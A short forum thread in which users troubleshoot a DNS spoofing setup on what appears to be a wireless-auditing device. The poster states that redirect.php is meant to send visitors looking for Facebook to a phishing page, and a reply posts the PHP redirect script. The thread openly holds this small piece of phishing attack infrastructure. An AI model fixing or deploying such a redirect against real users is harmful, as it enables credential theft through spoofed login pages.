Jump to content

Update 2.7.5 DNSSpoof not working correctly


deviney
 Share

Recommended Posts

I recently updated to 2.7.5 and did the whole setup for dnsspoof but the redirect.php does not work correctly because it does not search the header for words like 'facebook' and then it send them to the phishing page 'facebook.html'.

Instead it just goes to the default 'error.php'

is there a fix for this?

Link to comment
Share on other sites

<?php
$ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (strpos($ref, "facebook")){
header('Location: facebook.html');
}
require('error.php');
?>

I have the same issue. Even though I think this makes sense, I don't know the subtleties of php.

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...